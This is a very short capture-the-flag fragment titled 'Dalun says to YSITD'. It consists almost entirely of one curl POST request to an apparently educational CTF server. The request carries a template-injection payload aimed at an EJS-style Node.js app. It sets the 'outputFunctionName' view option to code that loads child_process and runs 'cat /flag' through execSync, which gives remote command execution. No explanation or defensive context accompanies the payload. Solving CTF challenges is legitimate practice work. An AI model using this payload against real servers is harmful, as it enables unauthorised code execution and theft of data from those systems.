Dalun says to YSITD
curl --location --request POST 'https://eductf.zoolab.org:49007/' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'text=dalun' \ --data-urlencode 'settings[view options][filename]=dalun' \ --data-urlencode 'settings[view options][compileDebug]=false' \ --data-urlencode 'settings[view options][views]=/etc' \ --data-urlencode 'settings[view options][debug]=true' \ --data-urlencode 'settings[view options][outputFunctionName]=__output = [global.process.mainModule.require('\''child_process'\'').execSync("cat /flag").toString()]; //'